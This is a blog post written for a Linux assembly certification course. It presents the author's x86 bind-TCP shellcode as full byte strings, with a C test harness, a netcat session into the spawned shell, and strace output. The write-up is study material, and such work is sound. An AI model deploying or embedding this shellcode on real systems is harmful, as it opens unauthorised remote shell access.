October 03, 2013

Shell bind TCP shellcode

Hello everybody,

Last week I have finished the SecurityTube Linux Assembly Expert (SLAE) course that requires to accomplish 7 assignments in order to get certificated.

Thus, I would like to publish shell_bind_TCP shellcode I have written in Intel IA-32 Assembly. The shellcode run test and the analysis are included in this post.

Source code

I wrote two versions of the shell_bind_tcp shellcode. First, a very detailed one, shellcode size 141 bytes, you can get it here: shell_bind_tcp.nasm

And a second one is just an extra attempt to reduce the shellcode size down to 108 bytes, here: shell_bind_tcp_smaller.nasm

Generating shellcode

$ ./compile_all.sh shell_bind_tcp 43775
[I] Using custom port: 43775
[+] Assembling shell_bind_tcp.nasm with NASM ...
[+] Linking shell_bind_tcp.o ...
[+] Generating shellcode with objdump ...
[+] Checking shellcode for NULLs ...
[+] Shellcode size is 141 bytes
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff"
[+] Generating shellcode.c file with the shell_bind_tcp shellcode ...
[+] Compiling shellcode.c with GCC ...
[+] All done! You can run the shellcode now:
$ ./shellcode

Checking generated shellcode.c

arno $ cat shellcode.c
#include <stdio.h>
#include <string.h>

# The shell_bind_TCP shellcode itself
unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Compiling and executing a shellcode

arno $ gcc -fno-stack-protector  -z execstack shellcode.c -o shellcode
arno $ ./shellcode
Shellcode Length:  108

root # netstat --inet -apn |grep -i shellcode
tcp        0      0 0.0.0.0:43775               0.0.0.0:*

It appears to be our shellcode has been executed and listening on 43775/tcp port as expected.

Connecting to a shell

root # nc localhost 43775
id
uid=500(arno) gid=500(arno) groups=500(arno) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
date
Sat Mar  9 13:59:11 CET 2013
quit
//bin/sh: line 3: quit: command not found
exit

As you may have noticed, it is exactly our shell spawned (execve “//bin/sh”) while we tried to run a command that doesn’t exist on a server.

Shellcode emulation and visualization

$ strace -e socket,bind,listen,accept,dup2,execve ./shellcode
execve("./shellcode", ["./shellcode"], [/* 57 vars */]) = 0
[ Process PID=18644 runs in 32 bit mode. ]
Shellcode Length:  141
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(43775), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("//bin/sh", ["//bin/sh"], [/* 26 vars */]) = 0
[ Process PID=18644 runs in 64 bit mode. ]
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
--- SIGCHLD (Child exited) @ 0 (0) ---

For better understanding, I suggest to look at the visualization together with the shellcode source that is very detailed —> shell_bind_tcp.nasm

shell_bind_tcp

libemu was used to visualize the shellcode.


This page has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-323